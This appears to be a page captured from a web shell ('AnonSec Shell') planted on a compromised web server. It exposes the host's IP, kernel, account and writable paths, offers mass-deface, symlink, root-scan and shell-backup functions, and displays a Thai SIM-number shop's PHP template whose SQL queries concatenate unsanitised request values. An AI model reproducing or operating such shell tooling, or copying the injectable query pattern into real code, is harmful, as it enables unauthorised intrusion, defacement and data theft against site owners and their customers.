AnonSec Shell
Server IP : 172.67.216.113  /  Your IP : 172.71.28.145   [ Reverse IP ]
Web Server : Apache
System : Linux cpanel01wh.bkk1.cloud.z.com 2.6.32-954.3.5.lve1.4.59.el6.x86_64 #1 SMP Thu Dec 6 05:11:00 EST 2018 x86_64
User : cp648411 ( 1354)
PHP Version : 7.2.34
Disable Function : NONE
Domains : 0 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home2/cp648411/public_html/simded.com/themes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /home2/cp648411/public_html/simded.com/themes/berded_hi.php
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/slick-carousel/1.5.9/slick.min.css">
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/slick-carousel/1.5.9/slick-theme.min.css">

<style media="screen">
.slick-next {
    right: -5%;
    top: 40%;
}
.slick-prev {
    left: -8%;
    z-index: 99;
    top: 40%;
}
.slick-slider {
    margin-bottom: 0px;
}

.box-s{
	width: 230px;
  background-color: #fff;
}
@media (max-width:736px)
{
  .slick-next {  top: 25%;}
  .slick-prev {  top: 25%;}
}
@media (max-width:1024px)
{
	.md-phone-1{margin-left: 0rem!important;}
}
@media (max-width:820px)
{
	.md-phone-1{margin-left: 0rem!important;}
}
@media (max-width:768px)
{
	.md-phone-1{margin-left: 0rem!important;}

}
@media (max-width:540px)
{
	.md-phone-1{margin-left: 0rem!important;}
	.slick-next {  top: 46%;}
  .slick-prev {  top: 46%;}
	.slick-next:before, .slick-prev:before{font-size: 30px;color: #fff;}
}
@media (max-width:414px)
{
	.md-phone-1{margin-left: 0rem!important;}
	.slick-next {  top: 46%;}
  .slick-prev {  top: 46%;}
	.slick-next:before, .slick-prev:before{font-size: 30px;color: #fff;}
	.box-s {
    width: 296px;
	}
}
@media (max-width:400px)
{
	.md-phone-1{margin-left: 0rem!important;}
	.box-s {
    width: 251px;
	}
	.fix-h2{font-size: 32.5px;}
}
@media (max-width:375px)
{
	.md-phone-1{margin-left: 0rem!important;}
	.slick-next {  right: -5%;}
  .slick-prev {  left: -10%;}
}
@media (max-width:360px)
{
	.md-phone-1{margin-left: 0rem!important;}
	.box-s {
      width: 247px;
  }
}
@media (max-width:320px)
{
	.md-phone-1{margin-left: 0rem!important;}
	.box-s {
    width: 207px;
}
}
@media (max-width:280px)
{
	.box-s{
		width: 180px;
	}
	.md-phone-1 {margin-left: 0rem!important;}
}
.hov-img:hover{
  width: 270px;
  border: 2px solid #ffffff;
}
@media (max-width:576px)
{

  .fix-l1{
    font-size: 18px;
    height: 55px;word-wrap: break-word;overflow: hidden;text-overflow: ellipsis;width: 111px;
  }
}
.slick-center{opacity: 1;}
@media (min-width:768px)
{
}
@media (min-width:819.99px)
{

}

@media (min-width:1200px)
{
  .slick-prev:before {font-size: 50px;}
  .slick-prev {left: -5%;}
  .slick-next:before, .slick-prev:before{font-size: 36px;color: #fff;}
  .slick-next{right: -3%;}
  .hov-img:hover{
    width: 282px;
    border: 2px solid #ffffff;
  }
}
@media (min-width:1400px)
{
  .slick-prev:before {font-size: 50px;}
  .slick-prev {left: -5%;}
  .slick-next:before, .slick-prev:before{font-size: 36px;}
  .slick-next{right: -3%;}
}
</style>
<!-- /.article -->


<div class=" bg-sim-hi" id="ber">
  <div class="container pb-3 pt-4">
    <div class="row text-spacing-md fw-bold">
      <div class="col-md-12  justify-content-between d-flex align-items-baseline" style="margin-bottom:5px;">
        <p class="HeadTextL mb-0 fw-bold"> ซิมเด็ดแนะนำ </p>
        <a href="../home/berdadrecom.php" class="text-decoration-none text-danger-sim">เพิ่มเติม</a>
      </div>
    </div>
    <?php

      //$sql_s = 'shop.id = phonenumber.id_shop AND shop.status = 1 AND shop.status_op = 1 AND shop.activate = 1 AND phonenumber.status = "1" ';
      $sql_s = 'shop.id = phonenumber.id_shop AND shop.status = 1 AND shop.status_op = 1 AND shop.activate = 1 AND phonenumber.status = "1" ';

      $max_rows = 8; // แสดงจำนวนแถวต่อหน้า
      $page_number = 0;
      if(isset($_GET['page_number']))
      {
      	 $page_number = $_GET['page_number'];
      }

      $all_array =  array('table'=>'phonenumber,shop','where'=>$sql_s);
      $start_row = $page_number * $max_rows;
      $all_sql = $view_db->view($all_array);
      $all_result = $view_db->q_re($all_sql);
      $total_rows = $view_db->q_nr($all_result);
      $total_rows_num = mysql_num_rows($all_result);
      $total_pages = ceil($total_rows/$max_rows)-1;
      ////////////////////////////////////////
      $list = array('table'=>'phonenumber,shop','where'=>$sql_s, 'limit'=> "$start_row,$max_rows",'order'=> "ORDER BY phonenumber.id DESC");
      $view = $view_db->view($list);
      $result = $view_db->q_re($view);
      $num_tr = 1;
      $num = 1+($page_number*$max_rows);


      ?>

		<div class="row justify-content-center">
			<div class="col-12 main2 px-4 px-md-2 text-spacing-md fw-bold">
				<!--
				<div class="slider slider-for">
				<div><h3>1</h3></div>
				<div><h3>2</h3></div>
				<div><h3>3</h3></div>
				<div><h3>4</h3></div>
				<div><h3>5</h3></div>
			</div>
		-->
		<div class="slider centerber align-center text-center" style="min-height: 250px;">

      <?php
      while($row = $view_db->q_ro($result))
      {
         $phonenumber = $Phone_class->format_phonenumber($row['phonenumber'],$row['format']);
         $row_mobilenetwork = $actiondata_db->q_one('mobilenetwork','id = "'.$row['mobilenetwork'].'"','image');

         $row_totalnumber = $actiondata_db->q_one('totalnumber','number = "'.$row['total'].'"','title');
      	if($row_totalnumber==2){$row_totalnumber = '';}


      	$list_shr = array('table'=>'shop','where'=>'id = "'.$row['id_shop'].'" ');
      	$view_shr = $view_db->view($list_shr);
      	$row_shr = $view_db->q($view_shr);

      	$list_phr = array('table'=>'phonenumber','where'=>'phonenumber = "'.$row['phonenumber'].'" ');
      	$view_phr = $view_db->view($list_phr);
      	$row_phr = $view_db->q($view_phr);

      	$countber =  $util_class->countber($row_shr['id']);
      	$txt_phonenumber =  $Phone_class->phonecomma($row_shr['phone']);

          if($row_shr['image_profile']){ $image_profile = $row_shr['image_profile']; }
          else { $image_profile = '';  }

          $phonenumber = $Phone_class->format_phonenumber($row['phonenumber'],$row['format']);
      	  $price = $row['price']-1;

      	?>
      <div class="">
      	<div class="BoxRecom rounded-sim2 box-s">
          <div class="pt-3 d-flex justify-content-center" align="center" style="cursor:pointer"
          onclick="like(<?php echo $_SESSION["simDed_login"];?>,<?php echo $row_phr['id'] ;?>)">
            <span id="hidefavorite"></span>
            <i class="fa fa-heart" style="font-size:18px;color:gray; "></i>
            <span class="text-danger-sim ps-2">เบอร์โปรด</span>
          </div>
          <div class="" align="center">
            <a href="../cart/?p=<?php echo $row['phonenumber'];?>" class="text-decoration-none">
        			<span class="BerDedToday-ber fs-4"><?php echo $phonenumber; ?></span></a>
          </div>
          <div class="px-0"><div class="borber-bottom-sim "></div></div>
          <div class="row align-items-center " style="height: 60px;">
            <?php $css_size=''; if(strlen($row_totalnumber)>= 60){$css_size = 'font-size: 13px;';} ?>
            <div class="col-8 ps-4 text-start">
              <div class="col-xs-12 BerDedToday-sum fw-bold text-success-sim"> ผลรวม <?php echo $row['total']?> </div>
        			<div class="col-xs-12 BerDedToday-price fw-bold text-primary-sim" style="<?php echo $css_size; ?> ">  <?php echo $row_totalnumber;?> </div>

            </div>
            <div class="col-4 px-0">
              <img src="<?php echo $upload ?>mobilenetwork/<?php echo $row_mobilenetwork ?>" width="60" class="img-fluid">
            </div>
          </div>
          <div class="px-0"><div class="borber-bottom-sim "></div></div>
          <div class="" align="center">
            <div class="col-12 fw-bold fs-5 "> ราคา <?php echo number_format($row['price'])?> บาท </div>
          </div>
          <div class="row justify-content-center">
            <div class="col-9 col-md-9 mb-3">
              <button type="button" name="button" onclick="cart('<?php echo $row_phr['id']; ?>')"
              class="btn btn-danger-sim fs-5 fw-bold rounded-sim w-100 box-sim1 lh-sim text-spacing-lg">สั่งซื้อเบอร์</button>

              </div>

          </div>

      	</div>
      	</div>
      	<?php
      }
      ?>




		</div>
			<!--
			<img src="../redbag/article/<?php echo $row_at['image'];?>" width="100%" height="100%"
			class="img-responsive rounded-3 px-1" >
			<div class="action">
			<a href="#" data-slide="3">go to slide 3</a>
			<a href="#" data-slide="4">go to slide 4</a>
			<a href="#" data-slide="5">go to slide 5</a>
		</div>
	-->
</div>

</div>
</div>
</div>
<script>
function cart(var1)
{
	swal(
	  'สั่งซื้อสินค้า!',
	  'เพิ่มสินค้าในตะกร้าเรียบร้อยแล้วค่ะ',
	  'success'
	)

			$.ajax({
				url: "../include/ajax_cart.php", // Url to which the request is send
				type: "POST",             // Type of request to be send, called as method
				data: 'id='+var1,
				cache: false,             // To unable request pages to be cached
				processData:false,        // To send DOMDocument or non processed data file it is set to false
				success: function(data)   // A function to be called if request succeeds
				{
					//testHoldon_cl('sk-circle');
          var some = screen.width;
          if(some<789){
            $("#alert_cart2").html(data);
          }else{
            $("#alert_cart").html(data);
          }

					var xmlhttp = new XMLHttpRequest();
					xmlhttp.onreadystatechange = function() {
						if (this.readyState == 4 && this.status == 200) {
              document.getElementById('alert_cart_ok').focus();
							$('.dropdown-toggle').dropdown('update');
              if(some<789){
                document.getElementById('alert_cart_ok2').innerHTML = this.responseText;
              }else{
                document.getElementById('alert_cart_ok').innerHTML = this.responseText;
              }
						}
					};
					xmlhttp.open("GET", "../include/ajax_cartlist2.php", true);
					xmlhttp.send();
				}
			});


}
function cart2(var1)
{
	swal(
	  'สั่งซื้อสินค้า!',
	  'เพิ่มสินค้าในตะกร้าเรียบร้อยแล้วค่ะ',
	  'success'
	)

			$.ajax({
				url: "../include/ajax_cart.php", // Url to which the request is send
				type: "POST",             // Type of request to be send, called as method
				data: 'id='+var1,
				cache: false,             // To unable request pages to be cached
				processData:false,        // To send DOMDocument or non processed data file it is set to false
				success: function(data)   // A function to be called if request succeeds
				{
					//testHoldon_cl('sk-circle');
					$("#alert_cart2").html(data);


					var xmlhttp = new XMLHttpRequest();
					xmlhttp.onreadystatechange = function() {
						if (this.readyState == 4 && this.status == 200) {
							document.getElementById('alert_cart_ok2').innerHTML = this.responseText;
							$('#alert_cart_ok2').dropdown('toggle');

							document.getElementById('alert_cart_ok').innerHTML = this.responseText;
							$('#alert_cart_ok').dropdown('toggle');

              window.location.reload();
						}
					};
					xmlhttp.open("GET", "../include/ajax_cartlist.php", true);
					xmlhttp.send();
				}
			});


}
</script>
<script src="//cdnjs.cloudflare.com/ajax/libs/jquery/2.1.3/jquery.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/slick-carousel/1.5.9/slick.min.js"></script>
<script>
  $('.centerber').slick({
    centerMode: true,
    centerPadding: '300px',
    slidesToShow: 3,
    dots: false,
    focusOnSelect: true,
    responsive: [
      {
        breakpoint: 1400,
        settings: {
          arrows: true,
          centerMode: true,
          dost:false,
          centerPadding: '210px',
          slidesToShow: 3
        }
      },
      {
        breakpoint: 1100,
        settings: {
          arrows: true,
          centerMode: true,
          dost:false,
          centerPadding: '25px',
          slidesToShow: 2
        }
      },
      {
        breakpoint: 992,
        settings: {
          arrows: true,
          centerMode: true,
          dost:false,
          centerPadding: '0px',
          slidesToShow: 3
        }
      },
      {
        breakpoint: 940,
        settings: {
          arrows: true,
          centerMode: true,
          dost:false,
          centerPadding: '5px',
          slidesToShow: 3
        }
      },
      {
        breakpoint: 768,
        settings: {
          arrows: false,
          centerMode: true,
          dost:false,
          centerPadding: '0px',
          slidesToShow: 2
        }
      },
      {
        breakpoint: 576,
        settings: {
          arrows: true,
          centerMode: true,
          dost:false,
          centerPadding: '20px',
          slidesToShow: 1,
        }
      },
      {
        breakpoint: 480,
        settings: {
          arrows: true,
          centerMode: true,
          dost:false,
          centerPadding: '35px',
          slidesToShow: 1,
        }
      },
      {
        breakpoint: 460,
        settings: {
          arrows: true,
          centerMode: true,
          dost:false,
          centerPadding: '30px',
          slidesToShow: 1,
        }
      },
      {
        breakpoint: 440,
        settings: {
          arrows: false,
          centerMode: true,
          dost:false,
          centerPadding: '70px',
          slidesToShow: 1,
        }
      },
      {
        breakpoint: 420,
        settings: {
          arrows: false,
          centerMode: true,
          dost:false,
          centerPadding: '27px',
          slidesToShow: 1,
        }
      },
      {
        breakpoint: 400,
        settings: {
          arrows: false,
          centerMode: true,
          dost:false,
          centerPadding: '43px',
          slidesToShow: 1,
        }
      },
      {
        breakpoint: 380,
        settings: {
          arrows: false,
          centerMode: true,
          dost:false,
          centerPadding: '25px',
          slidesToShow: 1,
        }
      },
      {
        breakpoint: 330,
        settings: {
          arrows: false,
          centerMode: true,
          dost:false,
          centerPadding: '30px',
          slidesToShow: 1,
        }
      }
    ]
  });


$('a[data-slide]').click(function(e) {
  e.preventDefault();
  var slideno = $(this).data('slide');
  $('.slider-nav').slick('slickGoTo', slideno - 1);
});
</script>

Anon7 - 2022
AnonSec Team